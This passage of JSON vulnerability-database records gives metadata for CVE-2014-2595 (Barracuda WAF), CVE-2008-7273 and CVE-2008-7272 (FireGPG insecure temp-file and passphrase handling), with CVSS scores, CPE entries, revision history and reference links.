"NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004"}, {"name": "http://www.osvdb.org/109782", "refsource": "MISC", "tags": ["Broken Link"], "url": "http://www.osvdb.org/109782"}, {"name": "https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "refsource": "MISC", "tags": ["Broken Link"], "url": "https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/"}, {"name": "https://www.exploit-db.com/exploits/39278", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "https://www.exploit-db.com/exploits/39278"}, {"name": "https://www.securityfocus.com/bid/69028", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "https://www.securityfocus.com/bid/69028"}, {"name": "http://seclists.org/fulldisclosure/2014/Aug/5", "refsource": "MISC", "tags": ["Third Party Advisory", "Mailing List", "Exploit"], "url": "http://seclists.org/fulldisclosure/2014/Aug/5"}], "immutableFields": []}, {"id": "CVE-2008-7273", "bulletinFamily": "NVD", "title": "CVE-2008-7273", "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "published": "2019-11-18T22:15:00", "modified": "2019-11-20T15:56:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "reporter": "cve@mitre.org", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7273", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "https://www.openwall.com/lists/oss-security/2011/01/14/2"], "cvelist": ["CVE-2008-7273"], "type": "cve", "lastseen": "2021-04-21T20:41:43", "history": [{"bulletin": {"affectedSoftware": [{"name": "getfiregpg iceweasel-firegpg", "operator": "eq", "version": "-"}], "bulletinFamily": "NVD", "cpe": ["cpe:/a:getfiregpg:iceweasel-firegpg:-"], "cpe23": [], "cvelist": ["CVE-2008-7273"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-59"], "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "edition": 3, "enchantments": {"dependencies": {"modified": "2019-12-18T13:57:06", "references": [], "rev": 2}, "score": {"modified": "2019-12-18T13:57:06", "rev": 2, "value": 1.2, "vector": "NONE"}}, "hash": "d61e8c253c1f5d35ed5977532afcfe58d323a03057be4323e8c19bd7bed39d26", "hashmap": [{"hash": "368a4092894f1320c5eb8d6f1746c872", "key": "modified"}, {"hash": "d613e2c86955266b0d3e0b9be74eae16", "key": "references"}, {"hash": "b066b40875680d07f9f9912048360029", "key": "href"}, {"hash": "5a3d95049ed4485340188fd46566963d", "key": "title"}, {"hash": "9c6958cd5dd022a438c0a93346bb7717", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "3e1e24cf5fed13b85f5534cb239a1044", "key": "cpe"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "c92f044c94e4360fec268c45081f3bc6", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "4464888dd8ea79b7344278e86594f061", "key": "affectedSoftware"}, {"hash": "f427291f843f1948956af8f0777cb86f", "key": "description"}, {"hash": "d1c394bb6e6939e65900ac8652bcb35f", "key": "published"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "a6adb76bd2d2e833d4aee455da4b36c3", "key": "cvss2"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "id": "CVE-2008-7273", "lastseen": "2019-12-18T13:57:06", "modified": "2019-11-20T15:56:00", "objectVersion": "1.3", "published": "2019-11-18T22:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7273", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "https://www.openwall.com/lists/oss-security/2011/01/14/2"], "reporter": "cve@mitre.org", "title": "CVE-2008-7273", "type": "cve", "viewCount": 62}, "differentElements": ["cvss3", "cpe", "affectedSoftware"], "edition": 3, "lastseen": "2019-12-18T13:57:06"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:iceweasel-firegpg", "name": "getfiregpg iceweasel-firegpg", "operator": "lt", "version": "0.6"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {}, "cvelist": ["CVE-2008-7273"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-59"], "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "edition": 4, "enchantments": {"dependencies": {"modified": "2020-09-21T13:59:22", "references": [], "rev": 2}, "score": {"modified": "2020-09-21T13:59:22", "rev": 2, "value": 1.2, "vector": "NONE"}}, "hash": "557fd4cb813bf4897b5fdca93f953d2fe22dd9fed46f9a924ed2d03719983a4f", "hashmap": [{"hash": "beb519effad5780952ea4ce1697a49ad", "key": "cvss3"}, {"hash": "368a4092894f1320c5eb8d6f1746c872", "key": "modified"}, {"hash": "d613e2c86955266b0d3e0b9be74eae16", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "b066b40875680d07f9f9912048360029", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpeConfiguration"}, {"hash": "5a3d95049ed4485340188fd46566963d", "key": "title"}, {"hash": "9c6958cd5dd022a438c0a93346bb7717", "key": "cvelist"}, {"hash": "2323c5f10ea99bff6a3fd88adbf7723c", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "c92f044c94e4360fec268c45081f3bc6", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "f427291f843f1948956af8f0777cb86f", "key": "description"}, {"hash": "d1c394bb6e6939e65900ac8652bcb35f", "key": "published"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "a6adb76bd2d2e833d4aee455da4b36c3", "key": "cvss2"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "id": "CVE-2008-7273", "lastseen": "2020-09-21T13:59:22", "modified": "2019-11-20T15:56:00", "objectVersion": "1.3", "published": "2019-11-18T22:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7273", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "https://www.openwall.com/lists/oss-security/2011/01/14/2"], "reporter": "cve@mitre.org", "title": "CVE-2008-7273", "type": "cve", "viewCount": 62}, "differentElements": ["cpeConfiguration"], "edition": 4, "lastseen": "2020-09-21T13:59:22"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:iceweasel-firegpg", "name": "getfiregpg iceweasel-firegpg", "operator": "lt", "version": "0.6"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:iceweasel-firegpg:0.6:*:*:*:*:*:*:*", "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2008-7273"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-59"], "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "edition": 7, "enchantments": {"dependencies": {"modified": "2020-12-09T19:28:28", "references": [], "rev": 2}, "score": {"modified": "2020-12-09T19:28:28", "rev": 2, "value": 1.2, "vector": "NONE"}}, "extraReferences": [], "hash": "3f2537e658f4240fe6f7df8e451ce685d2ca8ba79fbda529c1842e690c507e37", "hashmap": [{"hash": "beb519effad5780952ea4ce1697a49ad", "key": "cvss3"}, {"hash": "368a4092894f1320c5eb8d6f1746c872", "key": "modified"}, {"hash": "d613e2c86955266b0d3e0b9be74eae16", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "b066b40875680d07f9f9912048360029", "key": "href"}, {"hash": "5a3d95049ed4485340188fd46566963d", "key": "title"}, {"hash": "9c6958cd5dd022a438c0a93346bb7717", "key": "cvelist"}, {"hash": "2323c5f10ea99bff6a3fd88adbf7723c", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "c92f044c94e4360fec268c45081f3bc6", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "extraReferences"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "f427291f843f1948956af8f0777cb86f", "key": "description"}, {"hash": "d1c394bb6e6939e65900ac8652bcb35f", "key": "published"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "a6adb76bd2d2e833d4aee455da4b36c3", "key": "cvss2"}, {"hash": "451ac74d9ed8923574ac49d27fa22411", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "id": "CVE-2008-7273", "lastseen": "2020-12-09T19:28:28", "modified": "2019-11-20T15:56:00", "objectVersion": "1.3", "published": "2019-11-18T22:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7273", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "https://www.openwall.com/lists/oss-security/2011/01/14/2"], "reporter": "cve@mitre.org", "title": "CVE-2008-7273", "type": "cve", "viewCount": 76}, "differentElements": ["extraReferences"], "edition": 7, "lastseen": "2020-12-09T19:28:28"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:iceweasel-firegpg", "name": "getfiregpg iceweasel-firegpg", "operator": "lt", "version": "0.6"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:iceweasel-firegpg:0.6:*:*:*:*:*:*:*", "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2008-7273"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-59"], "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "edition": 5, "enchantments": {"dependencies": {"modified": "2020-10-03T11:51:06", "references": [], "rev": 2}, "score": {"modified": "2020-10-03T11:51:06", "rev": 2, "value": 1.2, "vector": "NONE"}}, "hash": "3f49259ae0555553bcbf3433a53f5984d6de287f6d865e78b449bda3b88b8ea7", "hashmap": [{"hash": "beb519effad5780952ea4ce1697a49ad", "key": "cvss3"}, {"hash": "368a4092894f1320c5eb8d6f1746c872", "key": "modified"}, {"hash": "d613e2c86955266b0d3e0b9be74eae16", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "b066b40875680d07f9f9912048360029", "key": "href"}, {"hash": "5a3d95049ed4485340188fd46566963d", "key": "title"}, {"hash": "9c6958cd5dd022a438c0a93346bb7717", "key": "cvelist"}, {"hash": "2323c5f10ea99bff6a3fd88adbf7723c", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "c92f044c94e4360fec268c45081f3bc6", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "f427291f843f1948956af8f0777cb86f", "key": "description"}, {"hash": "d1c394bb6e6939e65900ac8652bcb35f", "key": "published"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "a6adb76bd2d2e833d4aee455da4b36c3", "key": "cvss2"}, {"hash": "451ac74d9ed8923574ac49d27fa22411", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "id": "CVE-2008-7273", "lastseen": "2020-10-03T11:51:06", "modified": "2019-11-20T15:56:00", "objectVersion": "1.3", "published": "2019-11-18T22:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7273", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "https://www.openwall.com/lists/oss-security/2011/01/14/2"], "reporter": "cve@mitre.org", "title": "CVE-2008-7273", "type": "cve", "viewCount": 72}, "differentElements": ["affectedSoftware"], "edition": 5, "lastseen": "2020-10-03T11:51:06"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:iceweasel-firegpg", "name": "getfiregpg iceweasel-firegpg", "operator": "lt", "version": "0.6"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:iceweasel-firegpg:0.6:*:*:*:*:*:*:*", "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2008-7273"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-59"], "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "edition": 8, "enchantments": {"dependencies": {"modified": "2021-02-02T05:35:21", "references": [], "rev": 2}, "score": {"modified": "2021-02-02T05:35:21", "rev": 2, "value": 1.2, "vector": "NONE"}}, "extraReferences": [{"name": "https://www.openwall.com/lists/oss-security/2011/01/14/2", "refsource": "MISC", "tags": ["Third Party Advisory", "Mailing List"], "url": "https://www.openwall.com/lists/oss-security/2011/01/14/2"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"}, {"name": "https://security-tracker.debian.org/tracker/CVE-2008-7273", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://security-tracker.debian.org/tracker/CVE-2008-7273"}], "hash": "5b731cb69531a1a4f440c98e6086aef32b59d25a21b3e795f6d21cdd0acb5966", "hashmap": [{"hash": "beb519effad5780952ea4ce1697a49ad", "key": "cvss3"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "368a4092894f1320c5eb8d6f1746c872", "key": "modified"}, {"hash": "d613e2c86955266b0d3e0b9be74eae16", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "b066b40875680d07f9f9912048360029", "key": "href"}, {"hash": "85fdbb6779c8f53457b03e4617cac1fd", "key": "extraReferences"}, {"hash": "5a3d95049ed4485340188fd46566963d", "key": "title"}, {"hash": "9c6958cd5dd022a438c0a93346bb7717", "key": "cvelist"}, {"hash": "2323c5f10ea99bff6a3fd88adbf7723c", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "c92f044c94e4360fec268c45081f3bc6", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "f427291f843f1948956af8f0777cb86f", "key": "description"}, {"hash": "d1c394bb6e6939e65900ac8652bcb35f", "key": "published"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "a6adb76bd2d2e833d4aee455da4b36c3", "key": "cvss2"}, {"hash": "451ac74d9ed8923574ac49d27fa22411", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "id": "CVE-2008-7273", "immutableFields": [], "lastseen": "2021-02-02T05:35:21", "modified": "2019-11-20T15:56:00", "objectVersion": "1.5", "published": "2019-11-18T22:15:00", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7273", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "https://www.openwall.com/lists/oss-security/2011/01/14/2"], "reporter": "cve@mitre.org", "title": "CVE-2008-7273", "type": "cve", "viewCount": 78}, "different_elements": ["cpeConfiguration"], "edition": 8, "lastseen": "2021-02-02T05:35:21"}], "edition": 9, "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "2323c5f10ea99bff6a3fd88adbf7723c"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cpe23", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cpeConfiguration", "hash": "b37293c28011cded7e6cea212cc908fa"}, {"key": "cvelist", "hash": "9c6958cd5dd022a438c0a93346bb7717"}, {"key": "cvss", "hash": "6f6410364e4cee78bd47ed1fc3d8dd5b"}, {"key": "cvss2", "hash": "a6adb76bd2d2e833d4aee455da4b36c3"}, {"key": "cvss3", "hash": "beb519effad5780952ea4ce1697a49ad"}, {"key": "cwe", "hash": "c92f044c94e4360fec268c45081f3bc6"}, {"key": "description", "hash": "f427291f843f1948956af8f0777cb86f"}, {"key": "extraReferences", "hash": "85fdbb6779c8f53457b03e4617cac1fd"}, {"key": "href", "hash": "b066b40875680d07f9f9912048360029"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "368a4092894f1320c5eb8d6f1746c872"}, {"key": "published", "hash": "d1c394bb6e6939e65900ac8652bcb35f"}, {"key": "references", "hash": "d613e2c86955266b0d3e0b9be74eae16"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "5a3d95049ed4485340188fd46566963d"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "d695debc34a1657f10acd9dd2989cff4ec01e7bd03c81d546ca7db279f9ade48", "viewCount": 85, "enchantments": {"dependencies": {"references": [], "modified": "2021-04-21T20:41:43", "rev": 2}, "score": {"value": 1.2, "vector": "NONE", "modified": "2021-04-21T20:41:43", "rev": 2}}, "objectVersion": "1.5", "cpe": [], "affectedSoftware": [{"cpeName": "getfiregpg:iceweasel-firegpg", "name": "getfiregpg iceweasel-firegpg", "operator": "lt", "version": "0.6"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cpe23": [], "cwe": ["CWE-59"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:a:getfiregpg:iceweasel-firegpg:0.6:*:*:*:*:*:*:*", "cpe_name": [], "versionEndExcluding": "0.6", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "https://www.openwall.com/lists/oss-security/2011/01/14/2", "refsource": "MISC", "tags": ["Third Party Advisory", "Mailing List"], "url": "https://www.openwall.com/lists/oss-security/2011/01/14/2"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"}, {"name": "https://security-tracker.debian.org/tracker/CVE-2008-7273", "refsource": "MISC", "tags": ["Third Party Advisory"], "url": "https://security-tracker.debian.org/tracker/CVE-2008-7273"}], "immutableFields": []}, {"id": "CVE-2008-7272", "bulletinFamily": "NVD", "title": "CVE-2008-7272", "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "published": "2019-11-08T00:15:00", "modified": "2020-02-10T21:16:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "reporter": "cve@mitre.org", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-7272", "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514386", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20757?utm_source=securityvulns&utm_medium=redirect"], "cvelist": ["CVE-2008-7272"], "type": "cve", "lastseen": "2021-04-21T20:41:43", "history": [{"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "getfiregpg:firegpg", "name": "getfiregpg firegpg", "operator": "lt", "version": "0.6"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {}, "cvelist": ["CVE-2008-7272"], "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "cwe": ["CWE-312"], "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext 